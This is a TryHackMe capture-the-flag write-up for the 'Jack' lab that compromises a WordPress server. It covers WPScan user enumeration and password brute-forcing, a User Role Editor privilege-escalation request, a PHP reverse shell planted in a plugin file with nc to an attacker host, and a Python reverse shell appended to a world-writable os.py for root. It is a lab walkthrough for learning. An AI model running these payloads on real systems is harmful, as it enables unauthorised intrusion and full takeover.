Post

TryHackMe: Jack Write-up

TryHackMe: Jack Write-up

Objective:

Challenge Link: Jack

Compromise a web server running Wordpress, obtain a low privileged user and escalate your privileges to root using a Python module.

Enumeration:

Start enumerating the target machine. I used nmap with -A option to enable OS detection, version detection, script scanning, and traceroute

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
root@ip-10-10-221-91:~# nmap 10.10.236.155 -A
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-25 13:29 BST
Nmap scan report for jack.thm (10.10.236.155)
Host is up (0.00062s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 3e:79:78:08:93:31:d0:83:7f:e2:bc:b6:14:bf:5d:9b (RSA)
|   256 3a:67:9f:af:7e:66:fa:e3:f8:c7:54:49:63:38:a2:93 (ECDSA)
|_  256 8c:ef:55:b0:23:73:2c:14:09:45:22:ac:84:cb:40:d2 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 5.3.2
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Jack's Personal Site – Blog for Jacks writing adven...
MAC Address: 02:B5:C7:C5:C7:1B (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/25%OT=22%CT=1%CU=31934%PV=Y%DS=1%DC=D%G=Y%M=02B5C7%T
OS:M=685BEBA2%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10C%TI=Z%CI=I%II=I
OS:%TS=8)OPS(O1=M2301ST11NW7%O2=M2301ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11N
OS:W7%O5=M2301ST11NW7%O6=M2301ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=6
OS:8DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T
OS:=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R
OS:%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=
OS:40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0
OS:%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R
OS:=Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.62 ms jack.thm (10.10.236.155)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.76 seconds

We see that the http-generator is WordPress framework. Visit /wp-admin/ page on the target website. Make sure you edit your local DNS resolver /etc/hosts to map the target IP address to its hostname. The/wp-admin/ page takes us to the WordPress login. use WPScan, which is a WordPress security scanner to enumerate users.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
root@ip-10-10-221-91:~# wpscan --url jack.thm -e u
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <===================================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] jack
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://jack.thm/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] danny
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] wendy
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

Findings:

  • Users found: danny, wendy, and jack. Save these users in a text file to use for brute-forcing the WordPress login form.
1
2
3
4
5
6
7
8
$ wpscan -U 'jack,wendy,danny' -P /usr/share/wordlists/fasttrack.txt --url jack.thm

[+] Performing password attack on Xmlrpc against 3 user/s
[SUCCESS] - wendy / changelater                                                                                                                            
Trying danny / starwars Time: 00:00:54 <===========================================================                     > (646 / 868) 74.42%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: wendy, Password: changelater

Exploitiation

Use the credentials found for wendy to log in to the wp-admin page. Search in the metasplitable for WordPress privilege escalation exploits

image

1
2
3
4
5
searchsploit wordpress privilege 
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                             |  Path
------------------------------------------------------------------------------------------------------------------------- 
WordPress Plugin User Role Editor < 4.25 - Privilege Escalation                            | php/webapps/44595.rb

we will use User Role Editor plugin. Copy the script to your current working directory.

1
2
3
4
5
6
7
8
9
searchsploit -m 44595.rb        
  Exploit: WordPress Plugin User Role Editor < 4.25 - Privilege Escalation
      URL: https://www.exploit-db.com/exploits/44595
     Path: /usr/share/exploitdb/exploits/php/webapps/44595.rb
    Codes: N/A
 Verified: False
File Type: Ruby script, ASCII text, with very long lines (987)
Copied to: /home/kali/Documents/THM/jack/44595.rb

In the script under the Send HTTP POST method, that is what it will send when we press update profile.

Screenshot_2025-06-26_07_28_07

Use Burp Suite to intercept the send request and edit it.

Screenshot_2025-06-26_07_34_08

Add ure_other_roles=administrator field to the POST request. Then click forward.

image

Getting Reverse Shell

Now it is time to add our reverse shell to the plugin editor, and start listening for the target. visit the plugin editor and type

1
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip> <listening_port> >/tmp/f") ?>

image image

Start listening for incoming connections, update the script, then go to the Installed Plugins and activate the akismet.php script.

image

When you successfully gain a shell, it is better to run this command

1
python -c 'import pty; pty.spawn("/bin/bash")'

This command upgrades the basic shell to a pseudo-terminal (PTY), which

  • Better command-line editing (arrow keys, backspace, tab completion)
  • The ability to use tools like su, passwd, nano, etc.
  • Better handling of interactive programs. Follow up with this command
1
export TERM=xterm

Now you can cleanly use clear, nano,vim, less,man, and even arrow keys or tab completion more reliably.

image

Cat the content of the reminder.txt, it has a reminder to check his backups. The backups on Linux are in this location: /var/backups

image

Privilege Escalation:

We can see there is id_rsa, which is the private SSH key for a user on that system. Use it to authenticate the user to remote systems without a password. Copy the id_rsa file and SSH to the Jack machine

1
ssh -i id_rsa.txt jack@jack.thm

image

Now, how to gain root access? Let’s first use the pspy tool to see all the processes running, including those run by other users (like root), without needing root access. Download it from pspy64 github, then transfer it to the target machine.

on the attacker machine

1
2
3
4
wget https://github.com/Cerbersec/scripts/blob/master/linux/pspy64
chmod +x pspy64
python3 -m http.server 8000

on the target machine

1
2
3
4
cd /tmp
wget http://<attacker-ip>:8000/pspy64
chmod +x pspy64
./pspy64

output

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
jack@jack:/tmp$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/06/26 08:40:01 CMD: UID=0    PID=12814  | /bin/sh -c /usr/bin/python /opt/statuscheck/checker.py 
2025/06/26 08:42:01 CMD: UID=0    PID=12820  | /bin/sh -c /usr/bin/python /opt/statuscheck/checker.py

The root user has a cronjob that runs every minute. View the content of the Python script

1
2
3
4
jack@jack:/tmp$ cat /opt/statuscheck/checker.py
import os

os.system("/usr/bin/curl -s -I http://127.0.0.1 >> /opt/statuscheck/output.log")

The script uses os.system() to run a shell command. View the group’s jack-in.

1
2
jack@jack:/opt/statuscheck$ id
uid=1000(jack) gid=1000(jack) groups=1000(jack),4(adm),24(cdrom),30(dip),46(plugdev),115(lpadmin),116(sambashare),1001(family)

search for the family group

image

The family group has write access to /usr/lib/python2.7/, which includes core Python modules like os.py. By adding a Python reverse shell to the end of os.py, any root-level script that imports os may trigger your shell, giving you privileged access.

image

1
2
3
4
5
6
7
8
import socket
import pty
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<attacker_ip>",4444))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
pty.spawn("/bin/bash")

image

This post is licensed under CC BY 4.0 by the author.